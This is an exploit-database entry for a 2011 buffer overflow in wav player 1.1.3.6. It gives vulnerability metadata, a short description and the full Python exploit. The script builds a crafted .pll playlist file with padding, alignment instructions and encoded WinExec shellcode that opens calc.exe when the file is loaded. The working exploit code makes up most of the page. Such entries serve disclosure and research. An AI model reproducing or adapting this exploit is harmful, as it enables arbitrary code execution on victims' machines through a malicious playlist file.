wav player 1.1.3.6 .pll Buffer Overflow

vendor:

wav player

by:

Ivan Garcia Ferreira

7.2

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: wav player

Affected Version From: 1.1.3.6

Affected Version To: 1.1.3.6

Patch Exists: NO

Related CWE: N/A

CPE: a:wav_player:wav_player:1.1.3.6

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 SP1 x86 Spanish

2011

wav player 1.1.3.6 .pll Buffer Overflow

Wav player can not handle properly large playlists (more than 1G). Reproduce: Open the wav player, make a playlist and save it. Then, close the player and run this exploit to create the new playlist. When you open again wav player, you will see the calc. ;)

Mitigation:

Ensure that the application is not vulnerable to buffer overflow attacks by validating user input and using secure coding practices.

Source

Exploit-DB raw data:

# Exploit Title: wav player 1.1.3.6 .pll Buffer Overflow
# Date: 12/09/2011
# Author: Ivan Garcia Ferreira
# Version: 1.1.3.6
# Tested on: Windows 7 SP1 x86 Spanish
#
# Description:
# Wav player can not handle properly large playlists (more than 1G). 
# Reproduce:
# Open the wav player, make a playlist and save it. Then, close the 
# player and run this exploit to create the new playlist. When you open again 
# wav player, you will see the calc. ;)
#
# Thanks to:
# Corelan Team for their excelent articles about exploits

fichero = open("wv_player.pll", "w")
print "[+] Creating exploit .pll..."

fichero.write("A"*1034) # Padding

fichero.write("t%dA")  #help the first ret
fichero.write("\x6d")  #nop/align
fichero.write("\x55")  #push ebp
fichero.write("\x6d")  #nop/align
fichero.write("\x58")  #pop eax
fichero.write("\x6d")  #pop/align
fichero.write("\x05\x14\x11")   #add eax,0x11001400
fichero.write("\x6d")  #pop/align
fichero.write("\x2d\x04\x11")   #sub eax,0x11001300
fichero.write("\x6d")  #pop/align

fichero.write("\x50")  #push eax
fichero.write("\x6d") #nop/align
fichero.write("\xc3") #ret

fichero.write("B"*306) # more padding

# Shellcode WinExec "calc.exe"
fichero.write("PPYAIAIAIAIAQATAXAZAPA3QADAZA" +
"BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA" +
"58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB" +
"AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K" +
"22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL" +
"MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55" +
"Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V" +
"NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB" +
"R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT" +
"NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU" +
"89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM" +
"KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC" +
"QQ2LRCM0LJA")

# Padding to get the crash
for cont in range(1,14000):
	fichero.write("A"*15000)
fichero.close()

print "[+] File Exploit .pll Created."